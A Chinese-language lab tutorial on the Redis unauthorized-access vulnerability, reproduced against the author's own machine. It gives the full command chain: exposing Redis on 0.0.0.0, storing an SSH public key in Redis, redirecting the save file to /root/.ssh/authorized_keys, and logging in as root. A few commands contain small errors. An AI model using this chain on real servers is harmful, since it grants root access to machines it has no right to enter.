Redis未授权访问

一.什么是redis

Redis是一款内存高速缓存数据库,并可以远程登录。


二.redis未授权访问漏洞

攻击者从远程登录redis,此时redis可以给root用户写入公钥文件,然后攻击者就可以通过ssh远程登录被攻击主机并具有root权限(登录原理:登录时,目标主机发送随机字符串给攻击者,攻击者通过私钥加密并返回给目标主机,目标主机通过公钥解密,若成功即登陆者可信。)


三.redis未授权访问漏洞产生原因以及导致的后果

Redis在默认情况下会绑定在0.0.0.0:6379,使redis服务暴露在公网中,如果在没有开启认证的情况下可以导致攻击者在可以访问目标服务器的情况下未授权访问redis,然后利用redis相关方法将自己的公钥写入目标服务器的/root/.ssh文件夹的authority_keys文件中,从而使攻击者可以以root权限登录目标服务器。从而导致数据泄露,并且攻击者可以在目标服务器上做任何想做的事情。


四.安装redis以及利用漏洞(本文均使用本机做实验)

First

在官网下载redis,使用源码编译安装

(点击此处redis下载tar包)

1
2
3
$ cd redis-4.0.6 
$ make
$ make install

安装完成后修改配置文件redis.conf中bind 127.0.0.1修改为0.0.0.0,使之处于漏洞下。

Second

安装ssh服务后进入配置文件修改开启公钥登录
PubkeyAuthentication yes
生成公钥和私钥

1
$ ssh-keygen -t rsa

picture3
将公钥保存,此处前后各echo两个换行符,因为通过redis写文件时会有redis版本信息等缓存同时写入,此处如果不增加换行符,当写入公钥时会导致密钥不可读,从而ssh登录失败

1
$ (echo -r "\n\n";cat id_rsa.pub;echo -e "\n\n" > pub.txt

picture4

Third

在root权限下开启redis服务器

1
$ redis-server

开启成功的效果
picture5

Fourth

将公钥传给redis-cli

1
$ cat pub.txt | redis-cli -h 0.0.0.0 -x set kick

然后通过redis-cli登录目标主机

1
$ redis-cli -h 0.0.0.0

切换到.ssh目录下

1
$ config set dir /root/.ssh/

将传给redis-cli的文件名称设置成authorized_keys

1
$ config set dbfilename “authorized_keys”

保存

1
$ save

Fifth

通过ssh私钥远程登录

1
$ ssh -i id_rsa root@127.0.0.1

此时已经具有目标主机的root权限